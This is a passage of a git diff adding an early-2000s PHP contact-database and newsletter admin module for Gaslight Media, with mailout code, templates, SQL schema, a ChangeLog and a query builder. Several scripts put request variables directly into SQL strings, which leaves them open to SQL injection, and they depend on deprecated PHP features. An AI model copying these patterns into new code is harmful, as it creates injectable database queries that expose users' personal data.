+               html_error(DB_ERROR_MSG.$responseqs,0);
+
+       $responserow = db_fetch_array($resres,0,PGSQL_ASSOC);
+
+       $subject = trim($responserow['subject']);
+       $data['subject'] = &$subject;
+       $message = $responserow['response'];
+       // html part of email
+       //$data['response'] = stripslashes(nl2br($message));
+       $message = str_replace("IMAGE1","<!-- image -->",$message);
+       $message = str_replace("IMAGE2","<!-- image2 -->",$message);
+       $message = str_replace("IMAGE3","<!-- image3 -->",$message);
+       $data['response'] = $message;
+//     $data['coupon'] = add_coupon($responserow["coupon"],$responserow["coupon_link"]);
+       //$data['image'] = add_image($responserow["image"],$responserow["image_align"]);
+//     $data['image2'] = add_image($responserow["image2"],$responserow["image2_align"]);
+//     $data['image3'] = add_image($responserow["image3"],$responserow["image3_align"]);
+//     $data['image4'] = add_image($responserow["image4"],$responserow["image4_align"]);
+//     $data['image5'] = add_image($responserow["image5"],$responserow["image5_align"]);
+//     $data['image6'] = add_image($responserow["image6"],$responserow["image6_align"]);
+       $data['url'] = URL_BASE;
+       switch( $responserow['template'] )
+       {
+               case "1":
+                       $data['template'] = 'bg-general.jpg';
+               break;
+
+               case "2":
+                       $data['template'] = 'bg-connectivity.jpg';
+               break;
+       }
+       
+       $html = explode_template(NEWSLETTER_PROTOTYPE,$data);
+
+       // text part of email
+       $text = strip_tags($message);
+       $text .= "You are receiving this message because you have expressed an interest in\n";
+       $text .= "receiving specials and information from ".SITENAME.". If you do not\n";
+       $text .= "wish to receive future items of this nature, please reply to this e-mail\n";
+       $text .= "with the word \"CANCEL\" on the subject line. You will then be removed \n";
+       $text .= "from future mailings.\n";
+       
+       // Write the temp.header file
+       $glm_headers = "NotifyAddr: ".OWNER_EMAIL."\n"
+               . "ProcessName: ".SITENAME."\n"
+               . "From: ".FROM_NEWS_EMAIL."\n"
+               . "ReportInterval: 2\n"
+               . "BlockSize: 1\n"
+               . "ProductionMode: ".PRODUCTION_MODE."\n";
+
+       $fp = fopen($HeadFilename,"w");
+       fputs($fp,$glm_headers,strlen($glm_headers));
+       fclose($fp);
+
+       $headers =      "From: Gaslight Media <".OWNER_EMAIL.">\n".
+                               "Return-To: Gaslight Media <".OWNER_EMAIL.">\n".
+                               "To: Gaslight Media <".OWNER_EMAIL.">\n".
+                               "Subject: $subject\n".
+                               "Reply-to: Gaslight Media <".REPLY_TO.">\n".
+                               "Mime-Version: 1.0\n".
+                               "Content-Type: multipart/alternative; boundary=ContentBoundry\n\n";     
+       $fp = fopen($BodyFilename,"w");
+       if(HTML_EMAIL=="ON"){
+               $body_html = '--ContentBoundry
+Content-Type: text/plain; charset="UTF-8"
+'.$text.'
+--ContentBoundry
+Content-Type: text/html; charset="UTF-8"
+
+'.$html.'
+
+--ContentBoundry--';
+               fputs($fp,$headers,strlen($headers));
+               fputs($fp,$body_html,strlen($body_html));
+       }
+       else{
+               fputs($fp,$headers,strlen($headers));
+               fputs($fp,$text,strlen($text)); 
+       }
+       fclose($fp);
+       // write the temp.ready file and your done!
+       $fp = fopen($ReadyFilename,"w");
+       fclose($fp);
+?>
+<table>
+<tr>
+  <td>Mail the current <?echo $subject?></td>
+</tr>
+<tr>
+  <td><?echo (PRODUCTION_MODE == "ON")?"ProductionMode is ON, Mail is sent.":"ProductionMode is OFF, Mail is not sent."?></td>
+</tr>
+<tr>
+  <td><?echo (HTML_EMAIL == "ON")?"HTML Email is ON, Mail is html encoded.":"HTML Email is OFF, Mail is plain text."?></td>
+</tr>
+<tr>
+  <td>You will recieve notification on the mailing task by email at <?=OWNER_EMAIL?>.</td>
+</tr>
+</table>
+<?
+       }
+       else {
+?>
+<table width=500 bgcolor="#e0e0e0">
+<tr bgcolor="#2f4f4f">
+  <th><font color=white>Newsletter Not Sent!</th>
+  </tr>
+</table>
+<?
+       }
+
+?>
+</body>
+</html>
diff --git a/admin/Contact/main.css b/admin/Contact/main.css
new file mode 100644 (file)
index 0000000..fef38df
--- /dev/null
@@ -0,0 +1,23 @@
+body {
+       background-color: #FFFFFF;
+}
+
+.navlink {
+       font-size: 80%;
+       font-family: arial;
+}
+
+td {
+       font-size: 80%;
+       font-family: arial,helvetica;
+}
+
+.theader {
+       font-size: 120%;
+       font-family: arial,helvetica;
+       color: #FFFFFF;
+}
+
+.theadertd {
+       background-color: #000080;
+}
diff --git a/admin/Contact/msg.js b/admin/Contact/msg.js
new file mode 100644 (file)
index 0000000..8ed837d
--- /dev/null
@@ -0,0 +1,29 @@
+function glm_confirm(o) {
+       var p = o.msg.split("\n");
+       var k = 0;
+       for(i = 0;i < p.length;i++) {
+               if(k > p[i].length)
+                       continue;
+               else 
+                       k = p[i].length;
+       }       
+       
+       var bound = "";
+       for(i = 0; i < k; i++) {
+               bound = bound+'_';
+       }
+       var str = bound+"\n\n"+o.msg+"\n\n"+bound+"\n\nAre You Sure?";
+       if(confirm(str)) {
+               if(o.popup == '1') {
+                       var nw = new Object();
+                       nw.url = o.url;
+                       nw.name = o.popup.name;
+                       nw.width = o.width;
+                       nw.height = o.height;
+                       glm_open(nw);
+               }
+               else {
+                       location.replace(o.url);
+               }
+       }
+}
diff --git a/admin/Contact/newsletter_template.html b/admin/Contact/newsletter_template.html
new file mode 100644 (file)
index 0000000..a397c2f
--- /dev/null
@@ -0,0 +1,25 @@
+<html>
+<head>
+<title>News from Gaslight Media</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+</head>
+<body>
+<style type="text/css">
+<!-- 
+ul  {list-style-image: url(<!-- url -->assets/flame.gif);} 
+a:link {color: #00558F;}
+a:visited {color: #00558F;}
+a:hover {color: black;}
+-->
+</style>
+<div style="text-align: center; font-family: arial, sans-serif; font-size: 12px;">
+       <div style="border: 1px solid #5989c3; width: 550px; margin: 0 auto; text-align: left;">
+               <img src="<!-- url -->assets/newsletter/<!-- template -->" style="display: block; margin-bottom: 20px;">
+               <div style="color: #EE6809; font-weight: bold; margin: 0 30px 12px 30px;text-align: right;"><!-- date --></div>
+               <div style="margin: 0 30px; color: #326db5;"><!-- response --></div>
+               <a href="http://www.gaslightmedia.com"><img src="<!-- url -->assets/newsletter/bottom.gif" alt="" style="border: 0;"></a>
+               <div style="border-top: 1px solid #EE6809; border-bottom: 1px solid #EE6809; padding: 3px 10px; margin: 10px 0; font-size: 10px;"><!-- bailout --></div>
+       </div>
+<div>
+</body>
+</html>
diff --git a/admin/Contact/notes/ChangeLog b/admin/Contact/notes/ChangeLog
new file mode 100644 (file)
index 0000000..fc6c567
--- /dev/null
@@ -0,0 +1,327 @@
+2002-05-07 13:47  matrix
+
+       * contact_setup.inc, del_query.phtml, download.phtml,
+       edit_contact.phtml, form.js, index.phtml, list_contact.phtml,
+       list_query.phtml, mailout.phtml, main.css, msg.js,
+       query_contact.phtml, query_db.phtml, query_save.phtml,
+       update_contact.phtml, verify.js, wm.js, help/contact.phtml,
+       notes/ChangeLog, notes/Contact, notes/adm2.sql, notes/contact.sql,
+       notes/guest.sql: "version 2.4"
+
+2002-05-07 13:45  matrix
+
+       * contact.sql, contact_setup.inc, edit_contact.phtml,
+       list_contact.phtml, update_contact.phtml, notes/ChangeLog,
+       notes/contact.sql, notes/Contact: adding ChangeLog file and moving
+       sql file into notes.  I have also set the insert part of
+       update_contact.phtml to use nextval to generate the PRIMEKEY so
+       this will work with previous version of th shop which don't have
+       the default set on cust_id
+
+2002-05-07 11:14  matrix
+
+       * contact.sql, contact_setup.inc, del_query.phtml, download.phtml,
+       edit_contact.phtml, form.js, index.phtml, list_contact.phtml,
+       list_query.phtml, mailout.phtml, main.css, msg.js,
+       query_contact.phtml, query_db.phtml, query_save.phtml,
+       update_contact.phtml, verify.js, wm.js, help/contact.phtml,
+       notes/adm2.sql, notes/guest.sql: testing out both contact and
+       customer table use
+
+2002-05-07 10:08  matrix
+
+       * form.js, msg.js, verify.js, wm.js: "putting javascript files in
+       dir"
+
+2002-05-07 09:57  matrix
+
+       * index.phtml: "all versions now 2.0"
+
+2002-05-07 09:57  matrix
+
+       * index.phtml: new file
+
+2002-05-07 09:44  matrix
+
+       * admin_constants.inc, contact.phtml, contact.sql,
+       contact_setup.inc, contact_test.sql, del_query.phtml,
+       download.phtml, edit_contact.phtml, index.html, list_contact.phtml,
+       list_cust_form.phtml, list_customers.phtml, list_query.phtml,
+       mailout.phtml, main.css, path.phtml, query_contact.phtml,
+       query_db.phtml, query_save.phtml, shopping_cart_setup.inc,
+       update_contact.phtml, help/contact.phtml, notes/adm2.sql,
+       notes/guest.sql: "merging final changes into one app"
+
+2002-03-14 11:23  matrix
+
+       * download.phtml: removed offending dot
+
+2002-03-12 10:32  matrix
+
+       * contact_setup.inc: file contact_setup.inc was initially added on
+       branch glm-Contact-2-0.
+
+2002-03-12 10:32  matrix
+
+       * download.phtml: file download.phtml was initially added on branch
+       glm-Contact-2-0.
+
+2002-03-12 10:32  matrix
+
+       * contact.phtml, contact_setup.inc, del_query.phtml,
+       download.phtml, edit_contact.phtml, list_contact.phtml,
+       list_query.phtml, mailout.phtml, query_contact.phtml,
+       query_db.phtml, update_contact.phtml: make it customer and ocntact
+
+2002-03-12 09:36  matrix
+
+       * list_cust_form.phtml, list_customers.phtml, path.phtml,
+       shopping_cart_setup.inc: updates
+
+2002-03-12 09:34  matrix
+
+       * contact.phtml, del_query.phtml, edit_contact.phtml,
+       list_contact.phtml, list_query.phtml, query_contact.phtml,
+       query_db.phtml, update_contact.phtml: prepare for merging
+
+2001-12-17 10:13  matrix
+
+       * list_contact.phtml, mailout.phtml: added ID
+
+2001-12-17 10:02  matrix
+
+       * list_contact.phtml, mailout.phtml: mail can't be sent by url
+
+2001-11-27 16:50  matrix
+
+       * contact.phtml, del_query.phtml, edit_contact.phtml,
+       list_contact.phtml, list_query.phtml, query_contact.phtml,
+       query_db.phtml, query_save.phtml, update_contact.phtml: needed to
+       update adding contacts to customer table as there is no default
+       value for cust_id
+
+2001-11-21 14:07  matrix
+
+       * contact.phtml, del_query.phtml, edit_contact.phtml,
+       list_contact.phtml, list_query.phtml, path.phtml,
+       query_contact.phtml, query_db.phtml, update_contact.phtml: using
+       setup.phtml not path.phtml
+
+2001-11-07 14:30  matrix
+
+       * list_contact.phtml: removed echo
+
+2001-11-07 14:27  matrix
+
+       * contact.phtml, del_query.phtml, edit_contact.phtml,
+       list_query.phtml, mailout.phtml, path.phtml, query_contact.phtml,
+       query_db.phtml, update_contact.phtml: updatng now using setup.phtml
+
+2001-11-07 14:24  matrix
+
+       * list_contact.phtml: correcting email out code
+
+2001-10-15 15:19  matrix
+
+       * contact.phtml, query_contact.phtml: adding date search
+
+2001-10-11 14:44  matrix
+
+       * list_contact.phtml: updating
+
+2001-10-11 14:34  matrix
+
+       * mailout.phtml: file mailout.phtml was initially added on branch
+       glm-Contact-2-0.
+
+2001-10-11 14:32  matrix
+
+       * list_contact.phtml, mailout.phtml: added autoresponder
+
+2001-09-25 10:14  matrix
+
+       * path.phtml: changed the path so we use one file
+
+2001-09-25 10:13  matrix
+
+       * contact.phtml: tr tag
+
+2001-07-02 14:29  matrix
+
+       * path.phtml: symplified the path files now this referes to the
+       main one in admin
+
+2001-06-22 08:55  matrix
+
+       * contact.phtml, contact.sql, edit_contact.phtml,
+       update_contact.phtml: adding field referred_by
+
+2001-06-19 08:50  matrix
+
+       * list_contact.phtml: no real change
+
+2001-06-19 08:49  matrix
+
+       * update_contact.phtml, edit_contact.phtml: modified for mailok
+
+2001-06-19 08:45  matrix
+
+       * list_contact.phtml: modified for errors on recalls
+
+2001-06-19 08:45  matrix
+
+       * edit_contact.phtml, update_contact.phtml: modified for mailok
+
+2001-06-18 10:08  matrix
+
+       * query_db.phtml: shop_query_db
+
+2001-06-18 10:08  matrix
+
+       * help/helpbg.gif: file helpbg.gif was initially added on branch
+       glm-Contact-shop-1-0.
+
+2001-06-18 10:08  matrix
+
+       * help/: closewindow.gif, contact.phtml, helpbg.gif: added images
+       to help folder
+
+2001-06-18 10:08  matrix
+
+       * help/closewindow.gif: file closewindow.gif was initially added on
+       branch glm-Contact-shop-1-0.
+
+2001-06-18 10:05  matrix
+
+       * query_contact.phtml: shop_query_db
+
+2001-06-18 10:04  matrix
+
+       * list_query.phtml: added nav links
+
+2001-06-18 10:03  matrix
+
+       * list_query.phtml: new shop query db
+
+2001-06-11 13:14  matrix
+
+       * list_contact.phtml: error correction
+
+2001-06-11 10:51  matrix
+
+       * list_contact.phtml: if there are no queries insert current
+
+2001-06-11 10:31  matrix
+
+       * list_contact.phtml: if there are no contacts html_error
+
+2001-06-11 10:18  matrix
+
+       * list_query.phtml: added nav to top of page
+
+2001-06-11 10:15  matrix
+
+       * help/contact.phtml: corrected paths to help images
+
+2001-06-08 09:17  matrix
+
+       * contact.sql: changing query table name to keep from messing up
+       other application
+
+2001-06-08 09:16  matrix
+
+       * help/contact.phtml: updateing help file
+
+2001-06-08 09:12  matrix
+
+       * contact.phtml: changed radio buttons on mail_ok to drop down
+
+2001-06-08 08:50  matrix
+
+       * list_contact.phtml: modified
+
+2001-06-08 08:46  matrix
+
+       * contact.phtml: made the mail_ok a drop down
+
+2001-06-07 14:54  matrix
+
+       * contact.phtml, list_contact.phtml, query_contact.phtml: updated
+       per gloriebe contactdb
+
+2001-06-07 14:06  matrix
+
+       * query_contact.phtml, help/contact.phtml: made changes for ereg
+       wildcards
+
+2001-06-06 15:51  matrix
+
+       * contact.phtml, contact.sql, edit_contact.phtml,
+       list_contact.phtml, query_contact.phtml, query_save.phtml,
+       update_contact.phtml: shop version
+
+2001-06-06 15:42  matrix
+
+       * main.css: added file
+
+2001-06-06 15:40  matrix
+
+       * report.rpt: "removed"
+
+2001-06-06 15:00  matrix
+
+       * contact.phtml, list_contact.phtml, query_contact.phtml,
+       update_contact.phtml, help/contact.phtml: worked out some bugs
+
+2001-06-06 13:41  matrix
+
+       * help/contact.phtml: changed path on images
+
+2001-06-06 13:38  matrix
+
+       * main.css: adding needed files
+
+2001-06-06 13:38  matrix
+
+       * main.css: file main.css was initially added on branch
+       glm-Contact-2-0.
+
+2001-06-05 11:17  matrix
+
+       * path.phtml: changed path to help
+
+2001-06-05 11:13  matrix
+
+       * path.phtml: changed path to help
+
+2001-06-05 10:45  matrix
+
+       * path.phtml: added path file
+
+2001-06-05 10:38  matrix
+
+       * contact.phtml, list_contact.phtml, query_contact.phtml: added
+       pipe and csv delimiter
+
+2001-05-31 12:43  matrix
+
+       * contact.phtml, contact.sql, contact_test.sql, del_query.phtml,
+       edit_contact.phtml, list_contact.phtml, list_query.phtml,
+       query_contact.phtml, query_db.phtml, query_save.phtml,
+       update_contact.phtml, help/contact.phtml: combining the contact
+       databases
+
+2001-04-04 13:42  matrix
+
+       * admin_constants.inc, index.html, list_cust_form.phtml,
+       list_customers.phtml, path.phtml, report.rpt,
+       shopping_cart_setup.inc, notes/adm2.sql, notes/guest.sql: Initial
+       revision
+
+2001-04-04 13:42  matrix
+
+       * admin_constants.inc, index.html, list_cust_form.phtml,
+       list_customers.phtml, path.phtml, report.rpt,
+       shopping_cart_setup.inc, notes/adm2.sql, notes/guest.sql: imported
+       sources
+
diff --git a/admin/Contact/notes/Contact b/admin/Contact/notes/Contact
new file mode 100644 (file)
index 0000000..937f46f
--- /dev/null
@@ -0,0 +1,4 @@
+All application setup stuff will be in contact_setup.phtml
+1)     right now if you add to the $fields array you'll still have to change
+       edit_contact.phtml and update_contact.phtml
+2)     contact.sql - contains the query to build the contact table and query_db table
diff --git a/admin/Contact/notes/contact.sql b/admin/Contact/notes/contact.sql
new file mode 100644 (file)
index 0000000..e14c3c2
--- /dev/null
@@ -0,0 +1,89 @@
+\connect - postgres
+
+CREATE TABLE "contact" (
+       "id" SERIAL PRIMARY KEY, 
+       "create_date" date,
+       "fname" text,
+       "lname" text,
+       "company" text,
+       "address" text,
+       "address2" text,
+       "city" text,
+       "state" text,
+       "zip" text,
+       "country" text,
+       "phone" text,
+       "fax" text,
+       "email" text,
+       "user_agent" text,
+       "remote_addr" text,
+       "interest" text,
+       "mail_ok" boolean
+);
+
+REVOKE ALL on "contact" from PUBLIC;
+GRANT ALL on "contact" to "nobody";
+GRANT ALL on "contact" to "postgres";
+
+REVOKE ALL on "contact_id_seq" from PUBLIC;
+GRANT ALL on "contact_id_seq" to "nobody";
+GRANT ALL on "contact_id_seq" to "postgres";
+
+CREATE TABLE "query_db" (
+       "id" SERIAL PRIMARY KEY, 
+       "query_name" text,
+       "query" text,
+       "file" text,
+       "delimiter" text
+);
+
+REVOKE ALL on "query_db" from PUBLIC;
+GRANT ALL on "query_db" to "nobody";
+GRANT ALL on "query_db" to "postgres";
+
+REVOKE ALL on "query_db_id_seq" from PUBLIC;
+GRANT ALL on "query_db_id_seq" to "nobody";
+GRANT ALL on "query_db_id_seq" to "postgres";
+
+CREATE TABLE "news_response" (
+       "id" SERIAL PRIMARY KEY, 
+       "subject" text,
+       "response" text,
+       "image" text,
+       "image2" text,
+       "image3" text,
+       "image_align" text,
+       "image2_align" text,
+       "image3_align" text,
+       "mailout"       date,
+       "last_update" date
+);
+
+REVOKE ALL on "news_response" from PUBLIC;
+GRANT ALL on "news_response" to "postgres";
+GRANT ALL on "news_response" to "nobody";
+GRANT ALL on "news_response_id_seq" to "nobody";
+
+INSERT INTO news_response (subject,response) values ('subject','response');
+
+CREATE UNIQUE INDEX contact_id_indx ON contact(id);
+CREATE INDEX contact_email_indx ON contact(email);
+CREATE INDEX contact_fname_indx ON contact(fname);
+CREATE INDEX contact_lname_indx ON contact(lname);
+CREATE INDEX contact_create_date_indx ON contact(create_date);
+CREATE UNIQUE INDEX news_response_id_indx ON contact(id);
+CREATE UNIQUE INDEX query_db_id_indx ON contact(id);
+
+CREATE TABLE contact_inq (
+    id serial NOT NULL,
+    header text,
+    pos integer,
+    description text,
+    image text
+);
+REVOKE ALL ON TABLE contact_inq FROM PUBLIC;
+GRANT ALL ON TABLE contact_inq TO nobody;
+REVOKE ALL ON TABLE contact_inq_id_seq FROM PUBLIC;
+GRANT ALL ON TABLE contact_inq_id_seq TO nobody;
+ALTER TABLE ONLY contact_inq
+    ADD CONSTRAINT contact_inq_pkey PRIMARY KEY (id);
diff --git a/admin/Contact/preview.phtml b/admin/Contact/preview.phtml
new file mode 100644 (file)
index 0000000..559fed7
--- /dev/null
@@ -0,0 +1,38 @@
+<?
+include("../../setup.phtml");
+include("contact_setup.inc");
+
+$query = "SELECT * FROM news_response WHERE id = $id";
+$res = db_auto_get_data($query, CONN_STR);
+$data['url'] = URL_BASE;
+$data['subject'] = $res[0]["subject"];
+$response = $res[0]["response"];
+$response = str_replace("COUPON","<!-- coupon -->",$response);
+$response = str_replace("IMAGE1","<!-- image -->",$response);
+$response = str_replace("IMAGE2","<!-- image2 -->",$response);
+$response = str_replace("IMAGE3","<!-- image3 -->",$response);
+$response = str_replace("IMAGE4","<!-- image4 -->",$response);
+$response = str_replace("IMAGE5","<!-- image5 -->",$response);
+$response = str_replace("IMAGE6","<!-- image6 -->",$response);
+$data['response'] = $response;
+$data['coupon'] = add_coupon($res[0]["coupon"],$res[0]['coupon_link']);
+$data['image'] = add_image($res[0]["image"],$res[0]['image_align'],$res[0]['image_link']);
+$data['image2'] = add_image($res[0]["image2"],$res[0]['image2_align'],$res[0]['image2_link']);
+$data['image3'] = add_image($res[0]["image3"],$res[0]['image3_align'],$res[0]['image3_link']);
+$data['image4'] = add_image($res[0]["image4"],$res[0]['image4_align'],$res[0]['image4_link']);
+$data['image5'] = add_image($res[0]["image5"],$res[0]['image5_align'],$res[0]['image5_link']);
+$data['image6'] = add_image($res[0]["image6"],$res[0]['image6_align'],$res[0]['image6_link']);
+switch( $res[0]['template'] )
+{
+       case "1":
+               $data['template'] = 'bg-general.jpg';
+       break;
+
+       case "2":
+               $data['template'] = 'bg-connectivity.jpg';
+       break;
+}
+
+$page = explode_template(NEWSLETTER_PROTOTYPE,$data);
+echo $page;
+?>
diff --git a/admin/Contact/query_contact.phtml b/admin/Contact/query_contact.phtml
new file mode 100644 (file)
index 0000000..2a084bd
--- /dev/null
@@ -0,0 +1,459 @@
+<?php
+include("../../setup.phtml");
+include("contact_setup.inc");
+session_start();
+//$Id: query_contact.phtml,v 1.1.1.1 2009/09/17 20:09:02 matrix Exp $
+/* Includes  */
+session_register("sess_vars");
+$sess_vars = $HTTP_POST_VARS;
+if(!isset($query_no)) 
+{
+       /* The fields array is sent as a string 
+               split it out using : as delimiter */
+       $fvalue = ereg_replace("^:","",$fvalue);
+       $fields = split(":",$fvalue);
+       $rfvalue = ereg_replace("^:","",$rfvalue);
+       $return_fields = split(":",$rfvalue);
+       $dates = ereg_replace("^:","",$rdvalue);
+       $dates = split(":",$dates);
+
+       if(!isset($search)) 
+       {
+               header("Location: index.phtml");
+       }
+       /* Chop off whitespaces spaces */
+       $search = chop(trim($search));
+       if($search == "") 
+       {
+               $ALL = TRUE;
+       }
+
+       function getKeywords($keywords) 
+       {
+               /* Replace the whitespace with a , */
+               $keywords = ereg_replace(" ",",",$keywords);
+       
+               while(ereg(",,",$keywords)) 
+               {
+               /* Replace the ,, with a , */
+                       $keywords = ereg_replace(",,",",",$keywords);
+               }
+               $seperated = explode(",",$keywords);
+               /* Return exploded string */
+               return $seperated;
+       }
+
+       switch($search_type) 
+       {
+               case "1":
+                       $keywords = $search;
+                       $compare = "AND";
+               break;
+
+               case "2":
+                       $keywords = getKeywords($search);
+                       $compare = "AND";
+               break;
+
+               case "3":
+                       $keywords = getKeywords($search);
+                       $compare = "OR";
+               break;
+
+               case "4":
+                       $keywords = getKeywords($search);
+                       $compare = "AND";
+                       $NOT = TRUE;
+               break;
+       
+               default:
+                       echo "not valid";
+               break;
+       }
+
+       if(is_array($keywords)) 
+       {
+               for($rip=0;$rip<count($keywords);$rip++) 
+               {
+                       $keywords[$rip] = trim($keywords[$rip]);
+                       /* if * is at the begging the replace with .* */
+                       $keywords[$rip] = ereg_replace("[\x2a]",".*",$keywords[$rip]);
+                       $keywords[$rip] = ereg_replace("[\x3f]",".?",$keywords[$rip]);
+                       $keywords[$rip] = ereg_replace("[\x2b]",".+",$keywords[$rip]);
+               }
+       }
+       else 
+       {
+               $keywords = trim($keywords);
+               /* if * is at the begging the replace with .* */
+               $keywords = ereg_replace("[\x2a]",".*",$keywords);
+               $keywords = ereg_replace("[\x3f]",".?",$keywords);
+               $keywords = ereg_replace("[\x2b]",".+",$keywords);
+       }
+       
+       switch($alter) 
+       {
+               /* $alter defines where to look in fields */
+               case "1":
+                       $begin = "^";
+                       $end = "";
+               break;
+       
+               case "2":
+                       $begin = "";
+                       $end = " *$";
+               break;
+
+               default:
+                       $begin = "";
+                       $end = "";
+               break;
+       }
+       
+       $operator = " ";
+       if($NOT) 
+       {
+               $operator .= "!~";
+       }
+       else 
+       {
+               $operator .= "~";
+       }
+       if($case == "OFF") 
+       {
+               $operator .= "*";
+       }
+       $operator .= " ";
+
+       /* finally, build the query string from string or array $keywords */
+       $query_string = "SELECT ".ID.",";
+       $totali = count($return_fields)-1;
+       for($i=0;$i<count($return_fields);$i++) 
+       {
+               $query_string .= $return_fields[$i];
+               if($i != $totali) 
+               {
+                       $query_string .= ",";
+               }
+               if($i == 8) 
+               {
+                       $query_string .= "\n";
+               }
+       }
+       $totald = count($dates)-1;
+       for($i=0;$i<count($dates);$i++) 
+       {
+               if($dates[$i] != " " && $dates[$i] != "") 
+               {
+                       if($i == 0) 
+                       {
+                               $query_string .= ",";
+                       }
+               }
+               $query_string .= $dates[$i];
+               if($i != $totald) 
+               {
+                       $query_string .= ",";
+               }
+       }
+       if(!$ALL) 
+       {
+               $query_string .= "\nFROM\t".TABLE." \nWHERE\t".WHERE."\nAND\t";
+               $query_string .= "(";
+               for($b=0;$b<count($fields);$b++) 
+               {
+                       $totalb = count($fields)-1;
+                       if(is_array($keywords)) {
+                               for($c=0;$c<count($keywords);$c++) {
+                                       $totalc = count($keywords)-1;
+                                       $query_string .= $fields[$b].$operator."'".
+                                               $begin.$keywords[$c].$end."'";
+                                       if($c != $totalc) {
+                                               $query_string .= " \n$compare\t";
+                                       }
+                               }
+                       }
+                       else 
+                       {
+                               $query_string .= $fields[$b].$operator."'".
+                                       $begin.$keywords.$end."'";
+                       }
+                       if($b != $totalb) 
+                       {
+                               $query_string .= " \n$compare\t";
+                       }
+               }
+               $query_string .= ")";
+       }
+       else 
+       {
+               $query_string .= "\nFROM\t".TABLE." \nWHERE\t".WHERE."\n";
+       }
+       if($mail_ok == "1") 
+       {
+               $query_string .= " $compare mail_ok = 't'";
+       }
+       if($mail_ok == "0") 
+       {
+               $query_string .= " $compare mail_ok = 'f'";
+       }
+       if($devel == "t") 
+       {
+               $query_string .= " $compare devel = 't'";
+       }
+       if($hosting == "t") 
+       {
+               $query_string .= " $compare hosting = 't'";
+       }
+       if($connect == "t") 
+       {
+               $query_string .= " $compare connect = 't'";
+       }
+       if($nolist == "t") 
+       {
+               $query_string .= " $compare nolist = 't'";
+       }
+       if($seo == "t") 
+       {
+               $query_string .= " $compare seo = 't'";
+       }
+       if($kiosk == "t") 
+       {
+               $query_string .= " $compare kiosk = 't'";
+       }
+
+        if($ucman == "t")
+        {
+                $query_string .= " $compare ucman = 't'";
+        }
+
+
+       if( is_array( $cols ) )
+       {
+               foreach( $cols as $ikey => $ival )
+               {
+                       $query_string .= " AND interest $operator ':$ival:'";
+               }
+       }
+       if(isset($fp_month)) 
+       {
+               $fp_str = mktime(0,0,0,$fp_month,$fp_day,$fp_year);
+               $tp_str = mktime(0,0,0,$tp_month,$tp_day,$tp_year);
+               $fa_str = mktime(0,0,0,$fa_month,$fa_day,$fa_year);
+               $ta_str = mktime(0,0,0,$ta_month,$ta_day,$ta_year);
+               
+               if($fp_str<$tp_str) 
+               {
+                       $fp_date = $fp_month."/".$fp_day."/".$fp_year;
+                       $tp_date = $tp_month."/".$tp_day."/".$tp_year;
+                       $query_string .= " AND purch_date >= '$fp_date'
+                                                          AND purch_date < '$tp_date'";
+               }
+               if($fa_str<$ta_str) 
+               {
+                       $fa_date = $fa_month."/".$fa_day."/".$fa_year;
+                       $ta_date = $ta_month."/".$ta_day."/".$ta_year;
+                       $query_string .= " AND access_date >= '$fa_date'
+                                                          AND access_date < '$ta_date'";
+               }
+               if($fp_str>$tp_str) 
+               {
+                       $fp_date = $fp_month."/".$fp_day."/".$fp_year;
+                       $tp_date = $tp_month."/".$tp_day."/".$tp_year;
+                       $query_string .= " AND purch_date < '$tp_date'";
+               }
+               if($fa_str>$ta_str) 
+               {
+                       $fa_date = $fa_month."/".$fa_day."/".$fa_year;
+                       $ta_date = $ta_month."/".$ta_day."/".$ta_year;
+                       $query_string .= " AND access_date < '$ta_date'";
+               }
+       }
+       if(isset($fc_month)) 
+       {
+               $fc_str = mktime(0,0,0,$fc_month,$fc_day,$fc_year);
+               $tc_str = mktime(0,0,0,$tc_month,$tc_day,$tc_year);
+               
+               if($fc_str<$tc_str) 
+               {
+                       $fc_date = $fc_month."/".$fc_day."/".$fc_year;
+                       $tc_date = $tc_month."/".$tc_day."/".$tc_year;
+                       $query_string .= " AND create_date >= '$fc_date'
+                                                          AND create_date < '$tc_date'";
+               }
+               if($fc_str>$tc_str) 
+               {
+                       $fc_date = $fc_month."/".$fc_day."/".$fc_year;
+                       $tc_date = $tc_month."/".$tc_day."/".$tc_year;
+                       $query_string .= " AND create_date < '$tc_date'";
+               }
+       }
+}      
+else 
+{
+       if(!$dbd = db_connect()) 
+       {
+               html_error(DB_ERROR_MSG,0);
+       }
+       $qs = "SELECT   query_name,query,delimiter,file 
+                  FROM         query_db
+                  WHERE        id = $query_no";
+       if(!$res = db_exec($dbd,$qs)) 
+       {
+               html_error(DB_ERROR_MSG.$qs,0);
+       }
+       $row = db_fetch_array($res,0,PGSQL_ASSOC);
+       $query_name = $row[query_name];
+       $query_string = $row[query];
+       $file = $row[file];
+       $delimiter = $row[delimiter];
+}
+
+/* Thought the customer would like to see what's in the query */
+$showq = str_replace("SELECT","Return\n",$query_string);
+$showq = str_replace( "\nFROM\t".TABLE." \nWHERE\t".WHERE."\nAND\t",
+" \nfrom the contact database \nwhere ",$showq);
+$showq = str_replace( "\nFROM\t".TABLE." \nWHERE\t".WHERE."\n",
+" \nfrom the contact database",$showq);
+$showq = str_replace("fname","first name",$showq);
+$showq = str_replace("cust_id,","",$showq);
+$showq = str_replace("lname","last name",$showq);
+$showq = str_replace("!~*","does not contain",$showq);
+$showq = str_replace("!~","does not contain",$showq);
+$showq = str_replace("~*","contains",$showq);
+$showq = str_replace("~","is in",$showq);
+$showq = str_replace("does not contain '^"," does not start with ",$showq);
+$showq = str_replace("contains '^"," starts with ",$showq);
+$showq = str_replace("is in '^"," starts with ",$showq);
+$showq = str_replace("$"," in the ending ",$showq);
+$showq = str_replace("OR","or",$showq);
+$showq = str_replace("AND","and",$showq);
+$showq = str_replace("'","",$showq);
+if(!$ALL) 
+{
+       if($case == "OFF") 
+       {
+               $showq .= "\n(case insensitive match)";
+       } 
+       else 
+       {
+               $showq .= "\n(case sensitive match)";
+       }
+}
+if(isset($file) && $file != "") 
+{
+       $showq .= "\noutput 1 file in ";
+       if($file == "rpt") 
+       {
+               $showq .= "text";
+       }
+       elseif($file == "gz") 
+       {
+               $showq .= "tar ball";
+       }
+       else 
+       {
+               $showq .= "zip";
+       }
+       if($delimiter == "csv")
+       {
+               $showq .= " format using ".$delimiter;
+       }
+       else
+       {
+               $showq .= " format using ".$delimiter." as delimiter";
+       }
+}
+$showq .= ".";
+$query = addslashes($query_string);
+top("QUERY BUILDER PAGE","");
+html_nav_table($nav,$navWidth);
+?>
+<script src="<?echo URL_BASE."admin/wm.js"?>"></script>
+<script src="<?echo URL_BASE."admin/msg.js"?>"></script>
+<table id="admin-list-table">
